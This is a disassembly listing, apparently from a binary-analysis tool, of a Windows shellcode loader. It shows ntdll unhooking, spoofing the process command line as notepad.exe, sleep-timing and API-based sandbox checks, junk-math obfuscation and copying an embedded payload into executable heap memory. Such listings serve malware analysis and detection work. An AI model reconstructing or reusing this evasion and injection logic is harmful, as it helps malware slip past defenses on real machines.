Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8a8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x850], ecx
mov qword [rbp + 0x858], rdx
call fcn.140002ff0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b0], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7a8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
jne 0x14000152d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x818], rax
cmp qword [rbp + 0x818], 0
je 0x140001c46
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
mov rax, qword [rbp + 0x7a8]
mov r10, qword [rbp + 0x818]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5c0]
mov qword [rbp + 0x7a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x798], rax
mov ecx, 0x13d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x814], 0
jmp 0x140001628
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
movsd xmm1, qword [0x140006598]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x27a
jle 0x1400015da
mov dword [rbp + 0x814], 0
jmp 0x140001692
mov eax, dword [rbp + 0x814]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x814]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x790]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x814], 1
cmp dword [rbp + 0x814], 0x27a
jle 0x140001640
mov rax, qword [rbp + 0x798]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x780], rax
mov ecx, 0x65c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x778], rax
mov dword [rbp + 0x810], 0
jmp 0x140001778
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x810]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x196
jle 0x14000172b
mov dword [rbp + 0x810], 0
jmp 0x140001890
mov dword [rbp + 0x744], 0
jmp 0x140001872
mov eax, dword [rbp + 0x810]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x744]
cdqe
add rax, 1
lea rcx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jle 0x14000186b
mov eax, dword [rbp + 0x744]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x740], eax
mov eax, dword [rbp + 0x810]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rax, rdx
mov edx, dword [rbp + 0x744]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x778]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x744]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x778]
add rdx, rax
mov eax, dword [rbp + 0x740]
mov dword [rdx], eax
add dword [rbp + 0x810], 1
mov eax, 0x196
sub eax, dword [rbp + 0x810]
cmp dword [rbp + 0x744], eax
jl 0x1400017a2
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x196
jle 0x140001793
mov rax, qword [rbp + 0x778]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rdx
mov qword [rbp + 0x768], rax
mov word [rbp + 0x80e], 0
jmp 0x140001c2e
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x768]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x80e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c1d
mov ecx, 0x1d50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x758], rax
mov ecx, 0x1d50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x750], rax
mov ecx, 0x1d50
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov dword [rbp + 0x808], 0
jmp 0x140001a59
mov dword [rbp + 0x804], 0
jmp 0x140001a45
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x808]
cdqe
imul rcx, rax, 0x10c
mov rax, qword [rbp + 0x758]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x7d0
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x808]
cdqe
imul rcx, rax, 0x10c
mov rax, qword [rbp + 0x750]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x42
jle 0x140001994
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x1b
jle 0x140001985
mov dword [rbp + 0x808], 0
jmp 0x140001b12
mov dword [rbp + 0x804], 0
jmp 0x140001afe
mov eax, dword [rbp + 0x808]
cdqe
imul rdx, rax, 0x10c
mov rax, qword [rbp + 0x758]
add rdx, rax
mov eax, dword [rbp + 0x804]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x808]
cdqe
imul rdx, rax, 0x10c
mov rax, qword [rbp + 0x750]
add rdx, rax
mov eax, dword [rbp + 0x804]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x808]
cdqe
imul rdx, rax, 0x10c
mov rax, qword [rbp + 0x748]
add rdx, rax
subss xmm0, xmm1
mov eax, dword [rbp + 0x804]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x804], 1
cmp dword [rbp + 0x804], 0x42
jle 0x140001a81
add dword [rbp + 0x808], 1
cmp dword [rbp + 0x808], 0x1b
jle 0x140001a75
mov rax, qword [rbp + 0x758]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x750]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x588], 0
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x780]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x588]
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x760]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x588]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x80e]
add eax, 1
mov word [rbp + 0x80e], ax
mov rax, qword [rbp + 0x768]
movzx eax, word [rax + 6]
cmp word [rbp + 0x80e], ax
jb 0x1400018e9
mov dword [rbp + 0x800], 0xffffffff
mov ecx, 0x4a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
add dword [rbp + 0x800], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x738]
add rax, rdx
movsd xmm1, qword [0x140006598]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x738]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x738]
add rax, rdx
movq xmm1, qword [0x1400065a0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x800], 0x93
jle 0x140001c61
mov dword [rbp + 0x58c], 0
mov rax, qword [rbp + 0x7b8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x590]
lea rax, [rbp + 0x58c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x730]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x598]
add rax, 0x3c
mov qword [rbp + 0x728], rax
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x728]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x7f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x720], rax
cmp qword [rbp + 0x720], 0
je 0x140001e2b
mov rax, qword [rbp + 0x720]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x718], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x718]
mov r9d, 0x3000
mov r8d, 0x347
mov edx, 0
call rax
mov qword [rbp + 0x7f8], rax
cmp qword [rbp + 0x7f8], 0
je 0x140002f2d
mov dword [rbp + 0x714], 0x325
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x714]
mov r8, qword [rbp + 0x708]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x2f3
jbe 0x140002f2d
mov dword [rbp + 0x6f4], 0x371
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6dc], eax
mov eax, dword [rbp + 0x6f4]
mov r8, qword [rbp + 0x6e8]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6e0]
call rax
mov dword [rbp + 0x6d8], eax
mov eax, dword [rbp + 0x6d8]
sub eax, dword [rbp + 0x6dc]
cmp eax, 0x33f
jbe 0x140002f2d
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
jne 0x140002f2d
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6c8], rax
cmp qword [rbp + 0x6c8], 0
jne 0x140002f2d
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x6c0], rax
cmp qword [rbp + 0x6c0], 0
jne 0x140002f2d
mov qword [rbp + 0x6b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6b0]
mov r9d, 0x3000
mov r8d, 0x329
mov edx, 0
call rax
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0
je 0x140002f2d
mov dword [rbp + 0x6ac], 0x245
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x69c], eax
mov eax, dword [rbp + 0x6ac]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x6a0]
call rax
mov dword [rbp + 0x698], eax
mov eax, dword [rbp + 0x698]
sub eax, dword [rbp + 0x69c]
cmp eax, 0x213
jbe 0x140002f2d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov rax, qword [rbp + 0x690]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x688], rax
cmp qword [rbp + 0x688], 0
jne 0x140002f2d
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x680], rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x67c], eax
mov ecx, 0x321
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x680]
call rax
mov dword [rbp + 0x678], eax
mov eax, dword [rbp + 0x678]
sub eax, dword [rbp + 0x67c]
cmp eax, 0x2ef
jbe 0x140002f2d
lea rax, [rbp + 0x110]
lea rdx, [0x140006120]
mov ecx, 0x8d
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
mov ecx, 0xb40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov ecx, 0xb40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x668], rax
mov ecx, 0xb40
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x7f4], 0
jmp 0x14000235d
mov dword [rbp + 0x7f0], 0
jmp 0x140002349
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7f4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x670]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7f4]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x668]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7f0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x47
jle 0x140002282
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 9
jle 0x140002273
mov dword [rbp + 0x7f4], 0
jmp 0x14000243a
mov dword [rbp + 0x7f0], 0
jmp 0x140002426
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x670]
add rdx, rax
mov eax, dword [rbp + 0x7f0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x668]
add rdx, rax
mov eax, dword [rbp + 0x7f0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7f4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x660]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7f0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7f0], 1
cmp dword [rbp + 0x7f0], 0x47
jle 0x140002388
add dword [rbp + 0x7f4], 1
cmp dword [rbp + 0x7f4], 9
jle 0x140002379
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x658]
mov r8d, 0
mov edx, 0x46b
mov ecx, 0x40000
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov r9, qword [rbp + 0x650]
mov r8d, 0x46b
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x640], rax
mov rax, qword [rbp + 0x7b8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x638], rax
mov ecx, 0xa5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0xa5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov ecx, 0xa5c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x620], rax
mov dword [rbp + 0x7ec], 0
jmp 0x140002633
mov dword [rbp + 0x7e8], 0
jmp 0x14000261f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ec]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x630]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7ec]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x628]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x32
jle 0x14000256e
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0xc
jle 0x14000255f
mov dword [rbp + 0x7ec], 0
jmp 0x1400026ec
mov dword [rbp + 0x7e8], 0
jmp 0x1400026d8
mov eax, dword [rbp + 0x7ec]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x7e8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ec]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x628]
add rdx, rax
mov eax, dword [rbp + 0x7e8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7ec]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x620]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7e8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7e8], 1
cmp dword [rbp + 0x7e8], 0x32
jle 0x14000265b
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0xc
jle 0x14000264f
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x620]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0x110]
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x638]
mov r8d, 0x46b
mov rcx, rax
call r9
mov ecx, 0x1118
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov dword [rbp + 0x7e4], 0
jmp 0x1400027b2
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x618]
add rax, rdx
movsd xmm1, qword [0x140006598]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x222
jle 0x140002764
mov dword [rbp + 0x7e4], 0
jmp 0x14000281c
mov eax, dword [rbp + 0x7e4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x618]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x618]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7e4], 1
cmp dword [rbp + 0x7e4], 0x222
jle 0x1400027ca
mov dword [rbp + 0x7dc], 0
mov dword [rbp + 0x7d8], 0
mov ecx, 0x1778
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x7d4], 0
jmp 0x1400028a7
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x7d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
movsd xmm1, qword [0x140006598]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x2ee
jle 0x140002859
mov dword [rbp + 0x7d4], 0
jmp 0x140002911
mov eax, dword [rbp + 0x7d4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x610]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7d4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x610]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_acos
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x7d4], 1
cmp dword [rbp + 0x7d4], 0x2ee
jle 0x1400028bf
movabs rax, 0x78a64ea0f7b2652c
movabs rdx, 0x3e4b82d616849557
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x74edf337e351542a
movabs rdx, 0xcfedf315f32274c0
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0xfa3ae0899e2b95d2
movabs rdx, 0xbf408a9ea0ae8ba1
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x5cebad152a00453c
movabs rdx, 0x35d7c7f5e1edf8a3
